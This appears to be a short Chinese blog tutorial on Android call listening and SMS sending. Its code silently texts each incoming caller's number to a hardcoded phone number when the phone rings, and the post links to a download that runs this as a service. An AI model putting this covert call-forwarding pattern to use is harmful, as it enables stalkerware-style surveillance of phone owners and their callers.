【娱乐】Android实现监听通话、发送短信
2016-03-15 19:08
543 查看
今晚本来打算学习Android的四大组件,偶尔发现Android还有这么好玩的功能~~
在AndroidMainfest.xml添加权限:<uses-permission android:name="android.permission.READ_PHONE_STATE" /> <uses-permission android:name="android.permission.SEND_SMS" />
第一个权限为监听通话权限;第二个为发送短信权限
在主Activity文件中:private SmsManager sManager; private TelephonyManager tManager; //声明这两个变量 //在oncreate方法中 tManager = (TelephonyManager) getSystemService(TELEPHONY_SERVICE); sManager = SmsManager.getDefault(); tManager.listen(listener, PhoneStateListener.LISTEN_CALL_STATE); //声明一个监听事件 PhoneStateListener listener = new PhoneStateListener() { @Override public void onCallStateChanged(int state, String incomingNumber) { switch (state) { case TelephonyManager.CALL_STATE_IDLE: break; case TelephonyManager.CALL_STATE_OFFHOOK: break; case TelephonyManager.CALL_STATE_RINGING: PendingIntent pi = PendingIntent.getActivity( ServiceT.this, 0, new Intent(), 0); Log.e("111", "已执行"); sManager.sendTextMessage("17853100900", null, "来电人:" + incomingNumber, pi, null); //第一个参数为给哪个手机号发送短信,第三个参数为短信内容, //incomingNumber是来电人手机号,其他的参数是用来凑数的 break; } } };
安卓手机。。。。。。。。。。
这是我自己结合service做的一个简单手机通话监听:
http://download.csdn.net/detail/zhengyikuangge/9462418
相关文章推荐
- AndroidAnnotations 是如何工作的
- Android Raised Button
- android_内容观察者
- Android Listview相关
- Android屏幕相关总结
- android的Adb一些常用的指令
- android_内容访问者去访问联系人
- Android RecyclerView 使用完全解析
- (4.5.3.2)android studio编译项目,9 patch图片报错Crunching Cruncher
- butterknife简化android开发
- Android阻止AlertDialog关闭
- 加速 Gradle 构建大型 Android 项目的方法[转]
- (4.5.3.1)AndroidStudio用gradle编译中文乱码
- Activity之间使用intent传递大量数据带来问题总结
- Android实际音乐播放的代码
- FloatingActionButton的基础使用
- 关于EditText
- Android的Bitmap和BitmapDrawable类解析-android学习之旅(六十)
- Android中的数据库相关以及封装
- Canvas清理画布